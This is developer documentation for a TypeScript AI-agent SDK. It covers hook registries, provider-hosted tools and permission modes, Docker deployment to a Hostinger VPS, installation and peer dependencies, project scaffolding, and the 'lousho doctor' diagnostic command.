`createAgent({ hooks })` takes a plain array. Code that uses the executor API ([The executor API](/executor-api)) passes a `HookRegistry`: an ordered collection with `register`, `registerMany`, `get`, `has`, `list`, `unregister`, `clear` and `size()` — `size` is a method (`hooks.size()`), not a `Map`-style property. Registering a second hook with the same `name` replaces the first and logs a warning.

```ts theme={null}
import { HookRegistry, type AgentHook } from '@lousho/build-ai-agent/hooks';

const redactPii: AgentHook = {
  name: 'redact-pii',
  async preToolCall(ctx) {
    // mutate ctx.args, or throw to abort the tool call before it runs
  },
};

const hooks = new HookRegistry();
hooks.register(redactPii);
console.log(hooks.list().map((hook) => hook.name)); // [ 'redact-pii' ]
```

`HookRegistry`, `AgentHook` and the context types are available from the package root and from the `@lousho/build-ai-agent/hooks` subpath. Hooks authored in the Agent Forge canvas editor are compiled into a `HookRegistry` and run sandboxed rather than in the host process: see [Agent Forge](/agent-forge#hooks).


# Hosted provider tools
Source: https://lousho.com/hosted-tools



Some model providers run tools themselves, inside the model request: OpenAI's
web search, code interpreter and file search are the common ones. Put them in
`tools` next to your own tools; the provider runs them, and the run reports
each call in its events, keeps it on the transcript and counts it in usage.

```ts theme={null}
import { createAgent, webSearch, defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

const saveNote = defineTool({
  name: 'save_note',
  description: 'Save a note',
  input: z.object({ text: z.string() }),
  execute: async ({ text }) => ({ saved: text.length }),
});

const agent = createAgent({
  model: 'openai/gpt-4o-mini',
  instructions: 'Answer with sources.',
  tools: [webSearch({ searchContextSize: 'low' }), saveNote],
});

const result = await agent.send('What changed in Node 24?');
console.log(result.text, result.usage.hostedToolCalls); // { web_search: 1 }
```

The SDK never executes a hosted tool. It sends it with every model call of
the run and reports what the provider did. The `vendor/` model prefix chooses
the provider; with OpenRouter use `openrouter/<vendor>/<model>` (e.g.
`openrouter/openai/gpt-4o-mini`).

## The helpers

| Helper | Name | Options |
| - | - | - |
| `webSearch(options?)` | `web_search` | `searchContextSize` (`'low' \| 'medium' \| 'high'`), `userLocation` (`{ country, city, region, timezone }`), `allowedDomains`, `blockedDomains`, `maxUses` |
| `codeInterpreter(options?)` | `code_interpreter` | `container`: an existing container id; by default the provider creates one |
| `fileSearch({ vectorStoreIds, maxResults? })` | `file_search` | `vectorStoreIds` (at least one; vector stores you created with the provider), `maxResults` |
| `hostedTool(name, aiSdkTool)` | `name` | Any AI SDK provider tool object, passed through as it is |

`isHostedTool(value)` tells a hosted tool from a local one. Each helper's
name is also the name the model, the events and `usage.hostedToolCalls` use.
In the record form of `tools` a hosted tool's key must be its name
(`tools: { web_search: webSearch(), lookup }`). A hosted tool with the name of
another tool is a `LOUSHO_CONFIG_INVALID` error when the agent is created.

A provider uses the options it supports and drops the rest with one
`console.warn`. OpenAI takes `searchContextSize`, `userLocation` and
`allowedDomains` (no `maxUses`, no `blockedDomains`). Anthropic takes
`maxUses`, `allowedDomains`, `blockedDomains` and `userLocation` (no
`searchContextSize`; its code execution has no `container`). OpenRouter takes
`maxUses`, `allowedDomains`, `blockedDomains` (sent as its `excluded_domains`)
and `searchContextSize` (no `userLocation`).

## Which provider runs which

| Tool | OpenAI | Anthropic | OpenRouter | Ollama | `fromAiSdk()` / other AI SDK providers |
| - | - | - | - | - | - |
| `webSearch()` | ✅ `ai` 6 + `@ai-sdk/openai` 3, `ai` 7 + `@ai-sdk/openai` 4 | ✅ `ai` 6 + `@ai-sdk/anthropic` 3, `ai` 7 + `@ai-sdk/anthropic` 4 | ✅ every `openrouter/...` model, any `ai` | ❌ | ❌ (use `hostedTool()`) |
| `codeInterpreter()` | ✅ same pairings | ✅ same pairings (Anthropic's code execution) | ❌ | ❌ | ❌ (use `hostedTool()`) |
| `fileSearch()` | ✅ same pairings | ❌ (Anthropic has no hosted file search) | ❌ | ❌ | ❌ (use `hostedTool()`) |
| `hostedTool()` | ✅ `ai` 6 or 7 | ✅ `ai` 6 or 7 | ✅ `ai` 6 or 7 | ✅ `ai` 6 or 7 | ✅ `ai` 6 or 7 |

Hosted tools need `ai` 6 or 7, except OpenRouter's web search, which works on
`ai` 4 too. With `ai` 4 (and its `@ai-sdk/openai` 0.0.x or 1.x) every other
hosted tool is refused. On OpenAI the model is the Responses API
model, which `@ai-sdk/openai` gives from version 2 on.

On Anthropic the helpers use the newest dated server tool the installed
`@ai-sdk/anthropic` exports: `webSearch()` the newest `tools.webSearch_*()`,
`codeInterpreter()` the newest `tools.codeExecution_*()` (Anthropic calls it
`code_execution`; the SDK keeps the name `code_interpreter` in events and in
`usage.hostedToolCalls`, on every provider). A package that has neither is
refused with the pairing that would work. For other Anthropic server tools
(web fetch, for one) use `hostedTool('web_fetch', anthropic.tools.webFetch_20260318())`.

On OpenRouter, `webSearch()` adds OpenRouter's `openrouter:web_search` server
tool to the request, so the search runs on OpenRouter's side for any model.
OpenRouter picks the search engine (the model's own search where it has one,
else Exa) and bills each search on top of the tokens, at the rates on
[OpenRouter's pricing page](https://openrouter.ai/pricing); see its
[web search guide](https://openrouter.ai/docs/guides/features/server-tools/web-search)
for the engines. Because the server runs the search inside the request, the
model reports no tool call. The SDK reports one hosted call per model step
that searched, read from OpenRouter's response: `name: 'web_search'`, empty
`args`, the cited urls from its `url_citation` annotations as `sources`, and
`result: { requests }` when OpenRouter reports
`usage.server_tool_use.web_search_requests` (otherwise `result` is `{}`; the
live test did not receive a count). The query the model searched for is not
reported.

An unsupported pairing rejects the run before the first model call with
[`LOUSHO_HOSTED_TOOL_UNSUPPORTED`](/errors#lousho_hosted_tool_unsupported),
naming the provider, the tool and what would work.

A custom `LLMProvider` declares what it can send with
`supportsHostedTool(type)` (`type` is `'web_search'`, `'code_interpreter'`,
`'file_search'` or `'custom'` for `hostedTool()`) and receives the tools in
`GenerateOptions.hostedTools`. A provider without that method supports none.
`withRetry()` and `withFallback()` ask the (first) wrapped provider.

## Any AI SDK provider tool: hostedTool()

`hostedTool(name, tool)` sends a provider tool object you built with the
provider's package, unchanged, on `ai` 6 or 7. It works with the built-in
providers and with any AI SDK model wrapped by
[`fromAiSdk()`](/providers#any-ai-sdk-model-fromaisdk):

```ts theme={null}
import { createAgent, fromAiSdk, hostedTool } from '@lousho/build-ai-agent';
import { openai } from '@ai-sdk/openai';

const agent = createAgent({
  provider: fromAiSdk(openai('gpt-4o-mini')),
  tools: [hostedTool('image_generation', openai.tools.imageGeneration())],
});
```

Use the name the provider package documents for its tool.

## Events

A hosted call is reported like a tool call, with `executedBy: 'provider'` on
`tool.start`, `tool.done` and `tool.error`:

```ts theme={null}
import { createAgent, webSearch } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4o-mini', tools: [webSearch()] });

for await (const event of agent.stream('Latest TypeScript release?')) {
  if (event.type === 'tool.start' && event.executedBy === 'provider') console.log('provider runs', event.toolName, event.args);
  if (event.type === 'tool.done' && event.executedBy === 'provider') console.log('provider result', event.result);
  if (event.type === 'text.delta') process.stdout.write(event.text);
}
```

In a streamed model call the events arrive as the provider reports the call;
in a call made without streaming they follow the call, in call order, before
its text. `tool.done.result` is capped at 20,000 characters of JSON (a longer
result becomes the cut JSON text ending in `... [truncated N characters]`);
`tool.error` has `error.name` `'HostedToolError'` and the provider's message.
The AI SDK UI stream (`toUIMessageStream()`) marks these tool parts
`providerExecuted: true`.

In traces, the `chat` span of the model call carries
`lousho.hosted_tool_calls` (the names of the tools the provider ran in it);
there is no `execute_tool` span for them, since the SDK ran nothing.

## Transcript and replay

The assistant message of the step gets `metadata.hostedToolCalls`: each call's
`id`, `name`, `args`, `result` (capped as above), `isError` and the url
`sources` the provider cited after it. Find them in `result.messages`.

Only the assistant's text is sent back to the model on later calls, never the
provider's tool blocks. That works on every provider and model; the cost is
that citations from earlier turns are not replayed to the model.

## Usage and cost

`result.usage.hostedToolCalls` (and `run.done` `usage.hostedToolCalls`) counts
the calls per tool name, for example `{ web_search: 2 }`; a sub-agent's calls
are added to the lead's. The tokens a hosted tool adds (search results the
model reads, code output) are in the token counts the provider reports.

`costUsd` covers tokens only. Per-call fees for hosted tools (a web search or
a code interpreter session) are billed by the provider and are **not**
included; check the provider's pricing and use the counts above.

## Approvals and permissions

The SDK cannot gate what it does not execute. A hosted tool runs inside the
provider's request, so no permission rule, tool guardrail, `needsApproval`,
`preToolCall` / `postToolCall` hook or `onToolCall` sees it, and **a hosted
tool cannot be paused for approval**. If a run must not search or run code
without a human, leave the tool out of `tools`, or choose tools per run with a
function:

```ts theme={null}
import { createAgent, webSearch } from '@lousho/build-ai-agent';

const agent = createAgent({
  model: 'openai/gpt-4o-mini',
  tools: ({ metadata }) => (metadata?.allowSearch ? [webSearch()] : []),
});

await agent.send('Summarize this page.', { metadata: { allowSearch: true } });
```

[Permission modes](/permission-modes) cannot refuse a hosted call either,
so they decide which hosted tools are sent with each model call:

| Mode | `webSearch()`, `fileSearch()` | `codeInterpreter()`, `hostedTool()` |
| - | - | - |
| `'default'` | Sent | Sent |
| `'plan'` | Sent (they only read) | **Not sent**: the model does not see them |
| `'acceptEdits'` | Sent | Sent |
| `'dontAsk'` | Sent (a hosted call never asks) | Sent |

A code interpreter runs code, and a `hostedTool()` is a tool the SDK knows
nothing about, so plan mode treats both as tools with side effects. The mode is
read before every model call, so a switch (`session.setPermissionMode()` or a
function mode) applies from the next call. No `permission.decision` entry is
written for a hosted tool left out: no call was made.

Sub-agents do not inherit the lead's hosted tools; give a sub-agent its own
in its `tools`. A run resumed from a checkpoint or an approval sends the same
hosted tools; a resuming agent with a different set reports
[agent drift](/durable-execution).

## Testing

`mockModel` takes hosted calls in a turn and records `hostedTools` on each
request, so an agent with hosted tools runs offline:

```ts theme={null}
import { createAgent, webSearch } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const model = mockModel([
  {
    text: 'Node 24 ships npm 11.',
    hostedToolCalls: [{ name: 'web_search', args: { query: 'node 24' }, result: { hits: 3 }, sources: [{ url: 'https://nodejs.org' }] }],
  },
]);
const agent = createAgent({ provider: model, tools: [webSearch()] });
const result = await agent.send('What changed in Node 24?');

console.log(model.calls[0]?.hostedTools?.[0]?.name); // 'web_search'
console.log(result.usage.hostedToolCalls); // { web_search: 1 }
```

## Not covered yet

Image generation, computer use, hosted MCP and hosted shell have no helpers;
pass the provider package's tool with `hostedTool()` where it works.
Replaying provider tool blocks to keep citations across turns is not
supported.


# Deploying to a Hostinger VPS
Source: https://lousho.com/hostinger-vps



The `docker` [deployment](/deployment) target is a plain Dockerfile +
bundled server, so it runs on any Docker host — including a Hostinger VPS.
The [hostinger-deploy](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/hostinger-deploy)
example ships a complete, tested recipe: `deploy.mjs` verifies the VM through
the Hostinger API, builds locally, ships the context over SSH, and runs the
container — then proves the deploy with `/health` and one real `/chat` turn.

```bash theme={null}
export HOSTINGER_API_TOKEN=...   # developers.hostinger.com -> API tokens
export OPENROUTER_API_KEY=...    # the agent's model key
export LOUSHO_API_TOKEN=...      # bearer protecting the deployed server
node examples/hostinger-deploy/deploy.mjs --vm <id|hostname|ip>
```

What it does, step by step:

1. **Verify the VM.** `GET /api/vps/v1/virtual-machines` finds the VM by id,
   hostname or IPv4 and refuses non-`running` machines. The
   `hostinger-api-mcp` MCP server wraps this same API, so an agent
   can also drive it interactively — VM lifecycle, SSH keys,
   firewall rules, post-install scripts.
2. **Build.** `lousho build ./agent --target=docker --out <dir>` produces a
   self-contained context (bundled `dist/server.js`, `Dockerfile`).
3. **Ship + run.** `tar`/`scp` the context to `/opt/lousho-agent`, then over
   SSH: `docker build`, `docker rm -f lousho-agent` if it exists, and
   `docker run -d --restart unless-stopped -p 3000:3000 -e ...`.
4. **Prove it.** Poll `/health`, then POST one `/chat` turn with the bearer
   token.

The example's environment flags are worth copying:

* `-e LOUSHO_STORE=sqlite:/data/lousho.db -v lousho-data:/data` — sessions and
  paused approvals survive container restarts (`/data` is a named volume).
* `-e LOUSHO_API_TOKEN=...` — required: every route except `/health` is then
  bearer-authed. The image listens on `0.0.0.0`, so without a token (or an
  `auth.ts`) the container refuses to start (`LOUSHO_SERVER_UNPROTECTED`). Port 3000 is plain HTTP; put Traefik (the VPS template
  installs it) or another TLS terminator in front.

Provisioning itself — purchasing, recreating, resizing a VM — is deliberately
*not* in the script: those are billed or destructive Hostinger API calls best
left to explicit ops (or the MCP server, where each call is visible).


# Installation
Source: https://lousho.com/installation



## Requirements

* Node.js **22.19 or newer** (`engines.node` in `package.json`, set by the `undici@8` dependency, whose own `engines` is `>=22.19.0`; the other version-gated Node features it uses are `node:sqlite` for `SqliteStore` (22.13) and native type stripping for `.ts` agent files (22.18), both below that floor, so lowering it means relaxing the `undici` dependency first; `undici` is loaded only when the `http_request` or `web_fetch` tool makes a request, see [Optional peers](#optional-peers)).
* TypeScript is optional but recommended - the SDK ships full type
  definitions.

## Install the package

```bash theme={null}
npm install @lousho/build-ai-agent ai zod
# or
pnpm add @lousho/build-ai-agent ai zod
# or
yarn add @lousho/build-ai-agent ai zod
```

`ai` (the Vercel AI SDK: `^4.3.19`, `^6.0.0` or `^7.0.0`) and `zod`
(`^3.25.76 || ^4.0.0`) are required peer dependencies. `ai` 5 is not supported.

Schemas from either zod major work everywhere the SDK takes one
(`defineTool({ input })`, structured `output`, MCP tools), including zod 4
schemas from `zod/v4` while zod 3.25 is installed and zod 3 schemas from
`zod/v3` on zod 4. A `defineTool` `input` can also be another
[Standard Schema](https://standardschema.dev) library's schema if it exposes its
JSON Schema (`~standard.jsonSchema`); the model needs a JSON Schema, so a
Standard Schema without one is rejected (use zod for those tools). `ai` 4's
provider packages declare zod 3 as a peer, so pair zod 4 with `ai` 6 or 7.

### Provider packages

Each real LLM provider is backed by an optional peer dependency, in the major
that pairs with your `ai` major. Install the pair from one row:

| `ai` | OpenAI, OpenRouter: `@ai-sdk/openai` | Anthropic: `@ai-sdk/anthropic` | Google: `@ai-sdk/google` | Ollama |
| - | - | - | - | - |
| `^4.3.19` | `^0.0.42` (or `^1.0.0`) | `^0.0.42` (or `^1.0.0`) | `^1.2.0` | `ollama-ai-provider@^1.2.0` |
| `^6.0.0` | `^3.0.0` | `^3.0.0` | `^3.0.0` | `ollama-ai-provider-v2@^3.0.0` (zod 4) |
| `^7.0.0` | `^4.0.0` | `^4.0.0` | `^4.0.0` | `ollama-ai-provider-v2@^4.0.0` (zod 4) |

For example, on the current `ai` major:

```bash theme={null}
npm install @lousho/build-ai-agent ai@^7.0.0 zod @ai-sdk/openai@^4.0.0
```

**Ollama on `ai` 6/7 needs zod 4.** `ollama-ai-provider-v2` (the Ollama package
for `ai` 6 and 7) declares `zod ^4` as a peer. The SDK accepts zod 4,
so install it with zod 4, for example
`npm install ai@^7.0.0 ollama-ai-provider-v2@^4.0.0 zod@^4.0.0`. With zod 3,
use `ai@^4.3.19` with `ollama-ai-provider@^1.2.0`.
`lousho init --provider ollama` scaffolds `ai@^7.0.0` with
`ollama-ai-provider-v2@^4.0.0` and zod 4.

**What CI tests.** Every pairing the peer ranges accept is installed for real
and run through the type check, the build and the whole test suite, on every
change: `ai` 4 with zod 3 (the dev install) and zod 4, `ai` 6 with zod 3 and
with zod 4, and `ai` 7 with zod 3 and with zod 4. The two zod 4 entries on
`ai` 6 and 7 also install `ollama-ai-provider-v2` (3.x and 4.x) and run the
Ollama provider against it, so Ollama on `ai` 6/7 is tested, not assumed.

Peers are loaded on demand: importing `@lousho/build-ai-agent` (or any of
its sub-entries) never loads a provider package, so you only need to install
the ones you use. Each provider package is loaded the first time that
provider makes a call; if it is missing, that call fails with a
`MissingPeerDependencyError` that carries the exact command to run, for the
`ai` major you have installed. The `vendor/` model prefix chooses the
provider; with OpenRouter use `openrouter/<vendor>/<model>` (e.g.
`openrouter/openai/gpt-4o-mini`). With `ai` 4:

```bash theme={null}
npm install @ai-sdk/openai@^0.0.42
```

```ts theme={null}
import { MissingPeerDependencyError, resolveProvider } from '@lousho/build-ai-agent';

const provider = resolveProvider('openai/gpt-4o-mini'); // needs OPENAI_API_KEY; does not load the peer
try {
  await provider.generate({ messages: [{ role: 'user', content: 'hello' }] });
} catch (error) {
  if (error instanceof MissingPeerDependencyError) {
    console.error(error.packageName, error.installCommand);
  }
}
```

### Optional peers

These packages are optional peers too. A project that never uses Docker
sandboxing, MCP, OpenTelemetry tracing, the React or Vue bindings, `lousho build`,
the `lousho init` questions or code mode installs none of them:

| Package | Range | Enables | Install |
| - | - | - | - |
| `dockerode` | `^5.0.1` | Docker sandboxing: `SubprocessSandbox` (and `lousho doctor`'s Docker ping) | `npm install dockerode@^5.0.1` |
| `@modelcontextprotocol/sdk` | `^1.31.0` | MCP: `createAgent({ mcpServers })` / `connectMcp()`, `serveMcp()` and `lousho mcp` | `npm install @modelcontextprotocol/sdk@^1.31.0` |
| `@opentelemetry/api` | `^1.9.1` | OpenTelemetry tracing: `createOtelTraceExporter()` from `@lousho/build-ai-agent/otel` | `npm install @opentelemetry/api@^1.9.1` |
| `react` | `^18`, `^19` | The React bindings (`@lousho/build-ai-agent/react`) | `npm install react` |
| `vue` | `^3` | The Vue bindings (`@lousho/build-ai-agent/vue`) | `npm install vue@^3` |
| `tsup` | `^8.0.0` | `lousho build`, which bundles the agent for each target | `npm install --save-dev tsup@^8.0.0` |
| `prompts` | `^2.4.2` | The interactive questions of `lousho init` (`lousho init --yes` and flags need nothing) | `npm install prompts@^2.4.2` |
| `quickjs-emscripten` | `^0.32.0` | [Code mode](/code-mode): `createAgent({ codeMode })` runs `run_code` scripts in its QuickJS isolate | `npm install quickjs-emscripten@^0.32.0` |

Like the provider packages, each is loaded on first use, never at import
time, and a missing one fails that call with a `MissingPeerDependencyError`
that names the feature and the exact command, for example:

```text theme={null}
The optional package 'dockerode' is not installed, but Docker sandboxing (SubprocessSandbox) needs it. Run: npm install dockerode@^5.0.1
```

`npm create lousho-agent` installs `prompts` itself, so scaffolding with it
needs nothing extra. `lousho doctor` lists every optional peer, what it
enables and whether it is installed (a missing `dockerode` is an error only
when the agent spec uses a sandboxed tool).

`undici` and `yaml` stay regular dependencies. `yaml` parses agent specs,
`agent.yaml` files and skills, and Node has no built-in YAML parser. `undici`
is loaded on the first request of the `http_request` or `web_fetch` tool:
both connect through an undici `Agent` whose DNS lookup checks the address
and pins the connection to it, and `http_request` also scopes
`validateSSL: false` to that `Agent`. The global `fetch` can express neither.

### Package size

The tarball is about 4 MB packed (15 MB unpacked). That is a stated trade-off,
not an accident: `src/` ships because `lousho build` bundles
`src/deploy/runtime.worker.ts` and `src/index.ts` from the installed package
and the `dist/` source maps point at it (the maps carry no embedded source;
embedding it instead and dropping `src/` measured larger, 5.2 MB packed), and
`apps/agent-forge/` is the prebuilt dashboard that `lousho studio` serves. The
1 MB `llms-full.txt` is in the repo, not the package.

## Entry points share code (ESM and CJS)

The package entries (`.`, `./hooks`, `./tools`, `./mcp`, ...) are built with code
splitting: they import shared chunks from `dist/`, so a class or singleton such
as `HookRegistry`, `SDKError` or `globalToolRegistry` is the same object whichever
entry that exports it you import it from, within one module format (`globalToolRegistry`
is exported by `./executor` and `./tools`, not by the root). An ESM `import` and a CJS `require`
of the package in one process still load two separate copies (Node's dual-package
hazard), so a class from one is not `===` the other. `instanceof SDKError`, of
each `SDKError` subclass the SDK exports (`ValidationError`, `TimeoutError`,
`RateLimitError`, `LLMProviderError`, `MissingPeerDependencyError`, ...) and of
`HookRegistry` are safe across the two copies (they check a `Symbol.for`
brand); for other classes, use one module format per process.

The entries `exports` declares, and what each one holds:

| Import specifier | What it holds |
| - | - |
| `@lousho/build-ai-agent` | The root: `createAgent()`, `defineTool()`, `defineChannel()`, agents' public types, events, stores (`memoryStore()`, `fileStore()`), hooks, guardrails, sessions, skills, memory, sub-agents, evals, spec files, deployment types |
| `@lousho/build-ai-agent/executor` | The executor API (advanced - prefer `createAgent()`): `AgentExecutor`, `AgentBuilder`, `resumeAfterApproval()`, `streamResumeAfterApproval()`, `resumeRequest()`, `ToolRegistry`, `globalToolRegistry` |
| `@lousho/build-ai-agent/tools` | The tools surface: `defineTool()`, `ToolRegistry`, the built-in tools, MCP/OpenAPI helpers |
| `@lousho/build-ai-agent/flows` | `FlowBuilder`, `FlowExecutor`, `validateFlow()` and every flow type (`AgentFlow`, `EditorStep`, `FlowExecutionEvent`, ...) |
| `@lousho/build-ai-agent/integrations` | The credentialed third-party tools: `createJiraTools()`, `createGitHubTools()`, `createSlackTool()` / `slackTool`, `postSlackAlert()`, `createEmailTool()` and their types |
| `@lousho/build-ai-agent/utils` | `EncryptionUtils`, `sha256()`, `generatePassword()`, `StorageService`, `StorageServiceApprovalStore`, `LocalStorageCheckpointStore` and the validators (`validateWithSchema`, `isValidEmail`, ...) |
| `@lousho/build-ai-agent/mcp` | MCP client and server helpers: `connectMcp()`, `loadMcpTools()`, `serveMcp()` |
| `@lousho/build-ai-agent/types` | The public types without the runtime |
| `@lousho/build-ai-agent/testing` | `mockModel()`, `recordReplay()` and the offline-test helpers |
| `@lousho/build-ai-agent/otel` | `createOtelTraceExporter()` (needs the optional `@opentelemetry/api` peer) |
| `@lousho/build-ai-agent/hooks` | The hooks surface: `HookRegistry`, hook types |
| `@lousho/build-ai-agent/sqlite` | `SqliteStore` (sessions, checkpoints, approvals and tokens in one SQLite file; needs Node's `node:sqlite`) |
| `@lousho/build-ai-agent/auth` | Route auth: `routeAuth()`, `jwt()`, `oidc()`, `basic()`, `apiToken()`, `anonymous()` |
| `@lousho/build-ai-agent/kv` | `KVStore`, `KVCheckpointStore` for a hand-written Cloudflare Worker |
| `@lousho/build-ai-agent/traces` | `fileTraceExporter()`, `listTraces()`, `readTrace()` (what `lousho traces` reads) |
| `@lousho/build-ai-agent/triggers` | `TriggerAdapter`, `TriggerRegistry`, `verifySlackSignature`, `parseCronExpression` |
| `@lousho/build-ai-agent/react` | `useLoushoAgent()` and the React helpers (needs `react`) |
| `@lousho/build-ai-agent/vue` | `useLoushoAgent()` as a Vue composable (needs `vue`) |
| `@lousho/build-ai-agent/svelte` | `loushoAgent()` as a Svelte store |

### TypeScript settings

The declarations type-check with `skipLibCheck: false` under zod 3 and zod 4,
with `moduleResolution` `bundler`, `nodenext` and `node16` (ESM). One
combination fails, and the cause is upstream: a CommonJS project
(no `"type": "module"`) with `module`/`moduleResolution: "node16"` and `ai` 7.
`ai` 7 ships ES modules only, and TypeScript's node16 mode does not let CommonJS
code import those types (error TS1479 inside the SDK's declarations). Use
`"module": "nodenext"` (it resolves them) or `"moduleResolution": "bundler"`,
add `"type": "module"`, or keep `skipLibCheck: true` (what `lousho init`
projects use).

The root entry's declarations use Node types (`Buffer`, and imports from
`node:crypto`, `node:http` and `node:net`), so install `@types/node`.
TypeScript 6 no longer loads every `@types` package by default (`types`
defaults to `[]`), so on TypeScript 6+ also list it in `tsconfig.json`,
or `skipLibCheck: false` reports `Cannot find name 'Buffer'` and
`Cannot find module 'node:http'` inside the SDK's declarations:

```json theme={null}
{
  "compilerOptions": {
    "types": ["node"]
  }
}
```

## Installing from a local build

To try an unreleased commit, build and pack the SDK from a checkout of this
repository, then install the tarball into your project - the same approach
`lousho init --sdk-path` uses for the projects it generates. This is verified
in CI by `npm run pack-smoke`, which installs the packed tarball into a fresh
project and loads every entry point, in ESM and CJS:

```bash theme={null}
# in the SDK checkout
npm install
npm run build
npm pack --pack-destination /path/to/your-project

# in your project (peers come from the registry)
npm install ./lousho-build-ai-agent-<version>.tgz ai zod
```

To scaffold a new project the same way, from the checkout:
`node bin/lousho.js init ../my-agent --sdk-path .`.

On Windows, `npx C:\abs\path\create-lousho-agent-<version>.tgz` silently does
nothing (an npm quirk with absolute drive-letter paths). Use a relative path
(`npx ./create-lousho-agent-<version>.tgz my-agent`) or a `file:` spec
(`npx file:C:/abs/path/create-lousho-agent-<version>.tgz my-agent`) instead.

`npm install github:LinuxDevil/agent-sdk` does **not** work: `dist/` is not in
git and the repository has no `prepare` build step, so the install has no
entry points.

## Scaffolding a new project

`lousho init` creates a ready-to-run project: `package.json` (ESM, depending
on this SDK by version range), a strict `tsconfig.json`, `src/agent.ts` calling
`createAgent({ model, instructions })` with an example `defineTool()` tool, an
offline `src/agent.test.ts` using `mockModel`, a `.env.example` naming your
provider's key variable, `.gitignore`, a README, and an `AGENTS.md` (plus a
one-line `CLAUDE.md` importing it) telling coding agents the project's files,
scripts and conventions. It then installs the dependencies and runs `git init`.

```bash theme={null}
npm create lousho-agent my-agent         # or: npx @lousho/build-ai-agent init my-agent
npx @lousho/build-ai-agent init my-agent --yes --provider anthropic --template tools --no-install
```

| Flag | Meaning |
| - | - |
| `--provider openai\|anthropic\|openrouter\|ollama` | Default: the provider whose API key variable is set, else `openai`. |
| `--template minimal\|tools\|yaml\|telegram` | `minimal` (one tool), `tools` (three tools), `yaml` (an `agent.yaml` spec run by `lousho dev`) or `telegram` (a long-polling Telegram bot — see below). Default `minimal`. |
| `--bot-name <name>`, `--bot-token <token>`, `--bot-username <handle>`, `--allowed-chats <ids>`, `--persona <text>` | `--template telegram` only — written into the generated `.env` and the agent's instructions. Using any of them on another template is a usage error. |
| `--package-manager npm\|pnpm\|yarn\|bun` | Default: the one that launched the command (`npm_config_user_agent`), else `npm`. |
| `--yes`, `-y` | Never prompt; use defaults for anything not given. Prompts only appear on a terminal. |
| `--no-install`, `--no-git` | Skip installing dependencies / `git init`. |
| `--force` | Write into a directory that is not empty (otherwise `init` refuses). |
| `--sdk-path <dir\|tarball>` | For SDK development: depend on a checkout (it is `npm pack`ed) or a packed `.tgz` instead of the published version. Also read from `LOUSHO_SDK_PATH`. |

The `telegram` template adds `src/telegram/` — a long-polling Bot API bridge
with an owner lock (the first chat to message the bot claims it; other DMs are
ignored unless their chat id is in `ALLOWED_CHATS`), group `@mention`/reply
triggers when `ALLOW_GROUPS=true`, and allow/deny/always approval buttons
backed by saved rules (`src/approvals.ts`) — plus photo, file and voice intake
and markdown→Telegram-HTML rendering. `npm run telegram` polls;
`npm run task` runs the `--task-file` one-shot mode other agents delegate to.

`create-lousho-agent` (`packages/create-lousho-agent`) is a thin wrapper that
runs `lousho init` with the same arguments.

## The `lousho` CLI

Installing the package also installs the `lousho` command: `init`, `doctor`,
`dev`, `chat`, `acp`, `add`, `mcp`, `eval`, `traces`, `build` and `studio`. See
[CLI](/cli) for what each one does and its flags. Building needs `tsup`,
an optional peer (see the table above): `npm install --save-dev tsup`.

## Troubleshooting: lousho doctor

Run `npx lousho doctor` right after installing. It prints one line per check
with a status (`ok`, `warn`, `FAIL`), what it found, and, for anything that is
not ok, the command to run or the setting to change:

```text theme={null}
lousho doctor

[ ok ] Node.js: v22.19.0 satisfies >=22.19.0
[ ok ] Required peer ai: 7.0.0 satisfies ^7.0.0
[FAIL] Required peer zod: not installed
       fix: npm install zod@^4.0.0
[ ok ] Provider package @ai-sdk/openai: 4.0.0 installed
[warn] Provider package @ai-sdk/anthropic: not installed (optional)
       fix: npm install @ai-sdk/anthropic@^4.0.0
[warn] openai (OPENAI_API_KEY): not set
       fix: Set OPENAI_API_KEY in your environment, e.g. export OPENAI_API_KEY=<your key>
[warn] Default provider for createAgent(): none configured (createAgent() needs a model, a provider instance, or an env var)
       fix: Set LOUSHO_MODEL (e.g. openai/gpt-4o-mini) or one of the API key variables above.
[ ok ] Docker: daemon not reachable (only needed for sandboxed tools; none configured)

4 ok, 3 warnings, 1 failure
```

What it checks:

1. Your Node version against the package's `engines.node`.
2. The required peers `ai` and `zod`: installed, and within the SDK's
   `peerDependencies` range (resolved from the current directory).
3. The optional provider packages (`@ai-sdk/openai`, `@ai-sdk/anthropic`, and
   `ollama-ai-provider` on `ai` 4 or `ollama-ai-provider-v2` on `ai` 6/7), with
   the `npm install` command for each missing one. A provider package that does
   not pair with the installed `ai` (for example `ai` 7 with `@ai-sdk/openai`
   1.x) is flagged with the version to install instead.
4. Whether each provider's API key variable is set. Only the variable name and
   `set` / `not set` are printed, never the value. When `OPENAI_BASE_URL` or
   `ANTHROPIC_BASE_URL` is set (a local or OpenAI-compatible server), that
   provider's line also shows the base URL, without any credentials or query
   string in it. It also shows which
   provider `createAgent()` would pick by default with your environment.
   `OPENAI_BASE_URL` is shown when set (without any credentials or query in it).
5. With a spec path (`lousho doctor agent.yaml`): the spec is validated with
   field paths for every error, its provider package and key are checked
   (missing ones become failures), its `tools` must be built-in tools, and any
   `mcpServers` command must be resolvable. An agent directory or a `.ts`/`.js`
   agent module (`lousho doctor src/agent.ts`, what a scaffolded project's
   `npm run doctor` runs) is loaded the way `lousho dev` loads it, and its
   model's provider package and key are checked the same way. Without a path
   a missing key is only a warning, since doctor cannot know which provider
   your agent uses.
6. Ollama reachability, only when the spec uses Ollama or `OLLAMA_HOST` is set.
7. Docker availability, a warning only when the spec uses a sandboxed tool.
8. With `--ping`: a `GET` for each provider whose variable is set, with a 5 s
   timeout, to an endpoint that needs the key: `/models` for OpenAI and
   Anthropic, `/api/v1/key` for OpenRouter (its `/models` answers without a
   key). A rejected key (HTTP 401/403) is a failure; an unreachable server is a
   warning. With `OPENAI_BASE_URL` set, `<base>/models` is pinged and the line
   says it shows reachability only, since a local server may not check keys.
   Keys are sent to their own provider only and never printed.

On Windows the fix lines use PowerShell syntax (`$env:OPENAI_API_KEY="<your key>"`)
instead of `export`.

The exit code is `1` if any check fails and `0` otherwise (warnings do not
fail), so it can gate CI. Add `--json` for machine-readable output. Colour is
used only when stdout is a terminal and `NO_COLOR` is unset.

For problems that are not about installing, see [Troubleshooting](/troubleshooting).
Coming from a `1.0.0-alpha.*` release? See [Upgrading to 1.0](/upgrading) for moved imports, removed and renamed APIs.

Next: [Quick Start](/quickstart).


# Introduction
Source: https://lousho.com/introduction

